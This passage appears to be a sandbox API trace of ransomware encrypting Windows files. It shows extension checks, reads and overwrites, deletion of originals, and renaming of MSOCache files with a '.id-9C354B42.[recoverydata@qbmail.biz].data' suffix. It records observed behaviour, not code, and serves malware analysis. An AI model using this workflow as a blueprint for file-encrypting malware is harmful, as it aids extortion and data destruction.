(lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0097.025] lstrlenW (lpString=".zip") returned 4 [0097.025] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0097.025] lstrlenW (lpString=".rar") returned 4 [0097.025] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0097.025] lstrlenW (lpString=".bz2") returned 4 [0097.025] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0097.025] lstrlenW (lpString=".7z") returned 3 [0097.025] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0097.025] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0097.025] lstrlenW (lpString=".dbf") returned 4 [0097.026] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0097.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0097.026] lstrlenW (lpString=".1cd") returned 4 [0097.026] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0097.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0097.026] lstrlenW (lpString=".jpg") returned 4 [0097.026] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0097.027] lstrcmpiW (lpString1=".exe", lpString2=".data") returned 1 [0097.027] lstrlenW (lpString="dwtrig20.exe") returned 12 [0097.027] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0097.042] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=519584) returned 1 [0097.042] CloseHandle (hObject=0x1ac) returned 1 [0097.042] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 0x2020 [0097.042] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0097.043] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0097.043] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.043] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.043] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0097.043] GetLastError () returned 0x0 [0097.043] ReadFile (in: hFile=0x1ac, lpBuffer=0x3770020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3770020*, lpNumberOfBytesRead=0x2dcfed4*=0x7eda0, lpOverlapped=0x0) returned 1 [0097.065] WriteFile (in: hFile=0x1dc, lpBuffer=0x3770020*, nNumberOfBytesToWrite=0x7edb0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3770020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x7edb0, lpOverlapped=0x0) returned 1 [0097.113] ReadFile (in: hFile=0x1ac, lpBuffer=0x3770020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3770020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0097.113] WriteFile (in: hFile=0x1dc, lpBuffer=0x3770020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3770020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0097.114] SetEndOfFile (hFile=0x1dc) returned 1 [0097.114] CloseHandle (hObject=0x1dc) returned 1 [0097.114] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.114] SetEndOfFile (hFile=0x1ac) returned 1 [0097.468] CloseHandle (hObject=0x1ac) returned 1 [0097.468] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0097.474] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 1 [0097.509] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0097.509] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0097.509] lstrlenW (lpString=".doc") returned 4 [0097.509] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0097.509] lstrlenW (lpString=".docx") returned 5 [0097.509] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0097.509] lstrlenW (lpString=".pdf") returned 4 [0097.509] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0097.509] lstrlenW (lpString=".xls") returned 4 [0097.509] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0097.510] lstrlenW (lpString=".xlsx") returned 5 [0097.510] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0097.510] lstrlenW (lpString=".ppt") returned 4 [0097.510] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0097.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0097.510] lstrlenW (lpString=".zip") returned 4 [0097.510] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0097.510] lstrlenW (lpString=".rar") returned 4 [0097.510] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0097.510] lstrlenW (lpString=".bz2") returned 4 [0097.510] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0097.510] lstrlenW (lpString=".7z") returned 3 [0097.510] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0097.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0097.510] lstrlenW (lpString=".dbf") returned 4 [0097.510] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0097.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0097.510] lstrlenW (lpString=".1cd") returned 4 [0097.510] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0097.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0097.510] lstrlenW (lpString=".jpg") returned 4 [0097.511] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0097.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0097.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0097.511] lstrlenW (lpString=".doc") returned 4 [0097.511] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0097.511] lstrlenW (lpString=".docx") returned 5 [0097.511] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0097.511] lstrlenW (lpString=".pdf") returned 4 [0097.511] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0097.511] lstrlenW (lpString=".xls") returned 4 [0097.511] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0097.511] lstrlenW (lpString=".xlsx") returned 5 [0097.511] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0097.511] lstrlenW (lpString=".ppt") returned 4 [0097.511] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0097.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0097.511] lstrlenW (lpString=".zip") returned 4 [0097.512] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0097.512] lstrlenW (lpString=".rar") returned 4 [0097.512] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0097.512] lstrlenW (lpString=".bz2") returned 4 [0097.512] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0097.512] lstrlenW (lpString=".7z") returned 3 [0097.512] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0097.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0097.512] lstrlenW (lpString=".dbf") returned 4 [0097.512] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0097.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0097.512] lstrlenW (lpString=".1cd") returned 4 [0097.512] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0097.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0097.512] lstrlenW (lpString=".jpg") returned 4 [0097.512] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0097.512] lstrcmpiW (lpString1=".msi", lpString2=".data") returned 1 [0097.512] lstrlenW (lpString="OfficeMUI.msi") returned 13 [0097.513] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0097.513] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=3702272) returned 1 [0097.513] CloseHandle (hObject=0x1ac) returned 1 [0097.513] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi")) returned 0x2020 [0097.513] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0097.514] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0097.514] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0097.515] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc6c | out: lpNewFilePointer=0x0) returned 1 [0097.515] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0097.515] ReadFile (in: hFile=0x1ac, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0097.520] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0097.520] ReadFile (in: hFile=0x1ac, lpBuffer=0x37b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x37b0058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0097.533] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dcfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0097.533] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0097.533] ReadFile (in: hFile=0x1ac, lpBuffer=0x37f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x37f0058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0097.764] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.764] WriteFile (in: hFile=0x1ac, lpBuffer=0x3770020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2dcfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3770020*, lpNumberOfBytesWritten=0x2dcfcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0097.798] SetEndOfFile (hFile=0x1ac) returned 1 [0097.798] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3fea0b0 [0097.798] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0097.798] WriteFile (in: hFile=0x1ac, lpBuffer=0x3fea0b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fea0b0*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0097.801] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0097.801] WriteFile (in: hFile=0x1ac, lpBuffer=0x3fea0b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fea0b0*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0098.663] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0098.663] WriteFile (in: hFile=0x1ac, lpBuffer=0x3fea0b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fea0b0*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0098.665] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3fea0b0 | out: hHeap=0x5b0000) returned 1 [0098.665] CloseHandle (hObject=0x1ac) returned 1 [0098.666] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0098.666] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0098.666] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0098.666] lstrlenW (lpString=".doc") returned 4 [0098.666] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0098.666] lstrlenW (lpString=".docx") returned 5 [0098.667] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0098.667] lstrlenW (lpString=".pdf") returned 4 [0098.667] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0098.667] lstrlenW (lpString=".xls") returned 4 [0098.667] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0098.667] lstrlenW (lpString=".xlsx") returned 5 [0098.667] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0098.667] lstrlenW (lpString=".ppt") returned 4 [0098.667] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0098.667] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0098.667] lstrlenW (lpString=".zip") returned 4 [0098.667] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0098.667] lstrlenW (lpString=".rar") returned 4 [0098.667] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0098.668] lstrlenW (lpString=".bz2") returned 4 [0098.668] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0098.668] lstrlenW (lpString=".7z") returned 3 [0098.668] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0098.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0098.668] lstrlenW (lpString=".dbf") returned 4 [0098.668] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0098.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0098.668] lstrlenW (lpString=".1cd") returned 4 [0098.668] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0098.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0098.668] lstrlenW (lpString=".jpg") returned 4 [0098.668] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0098.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0098.669] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0098.669] lstrlenW (lpString=".doc") returned 4 [0098.669] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0098.669] lstrlenW (lpString=".docx") returned 5 [0098.669] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0098.669] lstrlenW (lpString=".pdf") returned 4 [0098.669] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0098.669] lstrlenW (lpString=".xls") returned 4 [0098.669] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0098.669] lstrlenW (lpString=".xlsx") returned 5 [0098.669] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0098.669] lstrlenW (lpString=".ppt") returned 4 [0098.669] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0098.669] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0098.669] lstrlenW (lpString=".zip") returned 4 [0098.670] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0098.670] lstrlenW (lpString=".rar") returned 4 [0098.670] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0098.670] lstrlenW (lpString=".bz2") returned 4 [0098.670] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0098.670] lstrlenW (lpString=".7z") returned 3 [0098.670] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0098.670] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0098.670] lstrlenW (lpString=".dbf") returned 4 [0098.670] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0098.670] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0098.670] lstrlenW (lpString=".1cd") returned 4 [0098.670] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0098.670] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0098.670] lstrlenW (lpString=".jpg") returned 4 [0098.670] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0098.671] lstrcmpiW (lpString1=".msi", lpString2=".data") returned 1 [0098.671] lstrlenW (lpString="Office32WW.msi") returned 14 [0098.671] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0098.672] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1992192) returned 1 [0098.672] CloseHandle (hObject=0x1ac) returned 1 [0098.672] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0098.672] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0098.672] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0098.673] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0098.673] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc6c | out: lpNewFilePointer=0x0) returned 1 [0098.673] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0098.673] ReadFile (in: hFile=0x1ac, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0098.682] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0098.685] ReadFile (in: hFile=0x1ac, lpBuffer=0x37b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x37b0058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0098.691] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dcfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0098.691] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0098.691] ReadFile (in: hFile=0x1ac, lpBuffer=0x37f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x37f0058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0099.505] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.505] WriteFile (in: hFile=0x1ac, lpBuffer=0x3770020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2dcfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3770020*, lpNumberOfBytesWritten=0x2dcfcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0099.546] SetEndOfFile (hFile=0x1ac) returned 1 [0099.546] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3fea0b0 [0099.546] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0099.546] WriteFile (in: hFile=0x1ac, lpBuffer=0x3fea0b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fea0b0*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0099.548] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0099.549] WriteFile (in: hFile=0x1ac, 